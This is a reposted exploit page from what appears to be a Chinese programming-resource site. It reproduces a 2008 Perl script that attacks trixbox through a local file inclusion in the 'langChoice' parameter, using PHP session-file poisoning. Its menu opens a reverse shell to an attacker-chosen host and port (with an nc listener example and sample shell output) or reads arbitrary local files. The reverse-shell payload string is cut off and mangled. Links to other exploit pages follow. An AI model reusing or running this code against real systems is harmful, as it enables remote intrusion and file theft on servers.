您现在的位置是：网站首页> 编程资料编程资料
trixbox (langChoice) Local File Inclusion Exploit (connect-back) _Exploit_网络安全_
2023-05-24
448人已围观
简介 trixbox (langChoice) Local File Inclusion Exploit (connect-back) _Exploit_网络安全_
#!/usr/bin/perl -w # Jean-Michel BESNARD - LEXSI Audit # 2008-07-08 # perl trixbox_fi.pl 192.168.1.212 # Please listen carefully as our menu option has changed # Choose from the following options: # 1> Remote TCP shell # 2> Read local file # 1 # Host and port the reverse shell should connect to ? (:): 192.168.1.132:4444 # Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444) # Press enter to continue... # done... # nc -l -v -p 4444 # listening on [any] 4444 ... # connect to [192.168.1.132] from [192.168.1.212] 46532 # JMB: no job control in this shell # JMB: /root/.bashrc: Permission denied # JMB-3.1$ id # uid=102(asterisk) gid=103(asterisk) groups=103(asterisk) use strict; use Switch; use LWP::UserAgent; use HTTP::Cookies; usage() unless @ARGV; my $url = "http://$ARGV[0]/user/index.php"; my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); menu(); sub execScript{ my $scriptCode = shift; post($scriptCode); my $phpsessionid = extractPHPSID($cookie_jar->as _string); post("langChoice=../../../../../tmp/sess_$phpsessionid "); } sub post{ my $postData = shift; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($postData); my $res = $ua->request($req); my $content = $res->content; return $content; } sub readFile{ my $file = shift; my $content = post("langChoice=../../../../..$file "); my @fileLines = split(/\n/,$content); my $fileContent = "Content of $file: \n\n"; for(my $i=3;$i<@fileLines;$i ){ last if($fileLines[$i] =~ m/trixbox - User Mode/); $fileContent = $fileContent . $fileLines[$i-3] . "\n"; } return $fileContent; } sub tcp_reverse_shell{ my $rhost= shift; my $rport = shift; my $rshell = "langChoice=&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>
相关内容
- Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities _Exploit_网络安全_
- BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit _Exploit_网络安全_
- Mole Group Last Minute Script _Exploit_网络安全_
- Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln _Exploit_网络安全_
- AuraCMS _Exploit_网络安全_
- BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability _Exploit_网络安全_
- Dreampics Builder (page) Remote SQL Injection Vulnerability _Exploit_网络安全_
- Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day _Exploit_网络安全_
- OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC _Exploit_网络安全_
- Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c) _Exploit_网络安全_
